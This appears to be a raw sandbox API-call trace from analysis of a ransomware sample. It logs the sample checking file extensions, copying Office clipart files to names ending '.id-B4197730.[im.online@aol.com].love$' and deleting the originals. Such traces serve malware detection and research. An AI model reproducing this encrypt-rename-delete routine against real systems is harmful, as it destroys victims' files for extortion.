[0257.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.208] lstrlenW (lpString=".xlsx") returned 5 [0257.208] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0257.209] lstrlenW (lpString=".ppt") returned 4 [0257.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0257.209] lstrlenW (lpString=".zip") returned 4 [0257.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.209] lstrlenW (lpString=".rar") returned 4 [0257.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.209] lstrlenW (lpString=".bz2") returned 4 [0257.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.209] lstrlenW (lpString=".7z") returned 3 [0257.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0257.209] lstrlenW (lpString=".dbf") returned 4 [0257.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0257.209] lstrlenW (lpString=".1cd") returned 4 [0257.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0257.209] lstrlenW (lpString=".jpg") returned 4 [0257.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.209] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0257.209] lstrlenW (lpString="HH01065_.WMF") returned 12 [0257.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0257.279] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=1268) returned 1 [0257.279] CloseHandle (hObject=0x388) returned 1 [0257.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x220 [0257.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0257.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0257.280] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.281] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0257.293] GetLastError () returned 0x0 [0257.293] ReadFile (in: hFile=0x388, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x4f4, lpOverlapped=0x0) returned 1 [0257.817] WriteFile (in: hFile=0x4c8, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x500, lpOverlapped=0x0) returned 1 [0257.818] ReadFile (in: hFile=0x388, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0257.818] WriteFile (in: hFile=0x4c8, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0257.819] SetEndOfFile (hFile=0x4c8) returned 1 [0257.819] CloseHandle (hObject=0x4c8) returned 1 [0257.819] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.819] SetEndOfFile (hFile=0x388) returned 1 [0257.822] CloseHandle (hObject=0x388) returned 1 [0257.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0258.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 1 [0258.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0258.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0258.250] lstrlenW (lpString=".doc") returned 4 [0258.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.250] lstrlenW (lpString=".docx") returned 5 [0258.250] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0258.250] lstrlenW (lpString=".pdf") returned 4 [0258.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.250] lstrlenW (lpString=".xls") returned 4 [0258.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.250] lstrlenW (lpString=".xlsx") returned 5 [0258.250] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0258.250] lstrlenW (lpString=".ppt") returned 4 [0258.250] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0258.250] lstrlenW (lpString=".zip") returned 4 [0258.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.250] lstrlenW (lpString=".rar") returned 4 [0258.250] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.250] lstrlenW (lpString=".bz2") returned 4 [0258.250] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.250] lstrlenW (lpString=".7z") returned 3 [0258.250] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0258.251] lstrlenW (lpString=".dbf") returned 4 [0258.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0258.251] lstrlenW (lpString=".1cd") returned 4 [0258.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0258.251] lstrlenW (lpString=".jpg") returned 4 [0258.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0258.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0258.251] lstrlenW (lpString=".doc") returned 4 [0258.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.251] lstrlenW (lpString=".docx") returned 5 [0258.251] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0258.251] lstrlenW (lpString=".pdf") returned 4 [0258.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.251] lstrlenW (lpString=".xls") returned 4 [0258.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.251] lstrlenW (lpString=".xlsx") returned 5 [0258.251] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0258.251] lstrlenW (lpString=".ppt") returned 4 [0258.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0258.252] lstrlenW (lpString=".zip") returned 4 [0258.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.252] lstrlenW (lpString=".rar") returned 4 [0258.252] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.252] lstrlenW (lpString=".bz2") returned 4 [0258.252] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.252] lstrlenW (lpString=".7z") returned 3 [0258.252] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0258.252] lstrlenW (lpString=".dbf") returned 4 [0258.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0258.252] lstrlenW (lpString=".1cd") returned 4 [0258.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0258.252] lstrlenW (lpString=".jpg") returned 4 [0258.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.253] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0258.253] lstrlenW (lpString="HH01618_.WMF") returned 12 [0258.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0258.257] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=7296) returned 1 [0258.257] CloseHandle (hObject=0x550) returned 1 [0258.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x220 [0258.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0258.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0258.258] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.258] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0258.260] GetLastError () returned 0x0 [0258.260] ReadFile (in: hFile=0x550, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x1c80, lpOverlapped=0x0) returned 1 [0258.444] WriteFile (in: hFile=0x388, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x1c90, lpOverlapped=0x0) returned 1 [0258.446] ReadFile (in: hFile=0x550, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0258.446] WriteFile (in: hFile=0x388, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0258.446] SetEndOfFile (hFile=0x388) returned 1 [0258.446] CloseHandle (hObject=0x388) returned 1 [0258.447] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.447] SetEndOfFile (hFile=0x550) returned 1 [0258.450] CloseHandle (hObject=0x550) returned 1 [0258.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0258.452] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 1 [0258.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0258.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0258.454] lstrlenW (lpString=".doc") returned 4 [0258.454] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.454] lstrlenW (lpString=".docx") returned 5 [0258.454] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0258.454] lstrlenW (lpString=".pdf") returned 4 [0258.454] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.454] lstrlenW (lpString=".xls") returned 4 [0258.454] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.454] lstrlenW (lpString=".xlsx") returned 5 [0258.454] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0258.455] lstrlenW (lpString=".ppt") returned 4 [0258.455] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0258.455] lstrlenW (lpString=".zip") returned 4 [0258.455] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.455] lstrlenW (lpString=".rar") returned 4 [0258.455] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.455] lstrlenW (lpString=".bz2") returned 4 [0258.455] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.455] lstrlenW (lpString=".7z") returned 3 [0258.455] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0258.455] lstrlenW (lpString=".dbf") returned 4 [0258.455] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0258.455] lstrlenW (lpString=".1cd") returned 4 [0258.455] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0258.455] lstrlenW (lpString=".jpg") returned 4 [0258.455] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0258.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0258.456] lstrlenW (lpString=".doc") returned 4 [0258.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.456] lstrlenW (lpString=".docx") returned 5 [0258.456] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0258.456] lstrlenW (lpString=".pdf") returned 4 [0258.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.456] lstrlenW (lpString=".xls") returned 4 [0258.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.456] lstrlenW (lpString=".xlsx") returned 5 [0258.456] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0258.456] lstrlenW (lpString=".ppt") returned 4 [0258.456] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0258.456] lstrlenW (lpString=".zip") returned 4 [0258.456] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.456] lstrlenW (lpString=".rar") returned 4 [0258.456] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.456] lstrlenW (lpString=".bz2") returned 4 [0258.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.457] lstrlenW (lpString=".7z") returned 3 [0258.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0258.457] lstrlenW (lpString=".dbf") returned 4 [0258.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0258.457] lstrlenW (lpString=".1cd") returned 4 [0258.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0258.457] lstrlenW (lpString=".jpg") returned 4 [0258.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.457] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0258.458] lstrlenW (lpString="HH01923_.WMF") returned 12 [0258.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0258.511] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=26706) returned 1 [0258.511] CloseHandle (hObject=0x550) returned 1 [0258.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x220 [0258.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0258.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0258.512] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.512] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0258.515] GetLastError () returned 0x0 [0258.515] ReadFile (in: hFile=0x550, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x6852, lpOverlapped=0x0) returned 1 [0259.425] WriteFile (in: hFile=0x388, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x6860, lpOverlapped=0x0) returned 1 [0259.427] ReadFile (in: hFile=0x550, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0259.427] WriteFile (in: hFile=0x388, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0259.427] SetEndOfFile (hFile=0x388) returned 1 [0259.506] CloseHandle (hObject=0x388) returned 1 [0259.506] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.506] SetEndOfFile (hFile=0x550) returned 1 [0259.515] CloseHandle (hObject=0x550) returned 1 [0259.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0260.199] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 1 [0260.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0260.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0260.576] lstrlenW (lpString=".doc") returned 4 [0260.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.576] lstrlenW (lpString=".docx") returned 5 [0260.576] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.576] lstrlenW (lpString=".pdf") returned 4 [0260.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.576] lstrlenW (lpString=".xls") returned 4 [0260.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.576] lstrlenW (lpString=".xlsx") returned 5 [0260.576] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.577] lstrlenW (lpString=".ppt") returned 4 [0260.577] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0260.577] lstrlenW (lpString=".zip") returned 4 [0260.577] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.577] lstrlenW (lpString=".rar") returned 4 [0260.577] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.577] lstrlenW (lpString=".bz2") returned 4 [0260.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.577] lstrlenW (lpString=".7z") returned 3 [0260.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0260.577] lstrlenW (lpString=".dbf") returned 4 [0260.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0260.577] lstrlenW (lpString=".1cd") returned 4 [0260.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0260.577] lstrlenW (lpString=".jpg") returned 4 [0260.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0260.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0260.577] lstrlenW (lpString=".doc") returned 4 [0260.577] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.577] lstrlenW (lpString=".docx") returned 5 [0260.577] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.578] lstrlenW (lpString=".pdf") returned 4 [0260.578] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.578] lstrlenW (lpString=".xls") returned 4 [0260.578] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.578] lstrlenW (lpString=".xlsx") returned 5 [0260.578] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.578] lstrlenW (lpString=".ppt") returned 4 [0260.578] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0260.578] lstrlenW (lpString=".zip") returned 4 [0260.578] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.578] lstrlenW (lpString=".rar") returned 4 [0260.578] 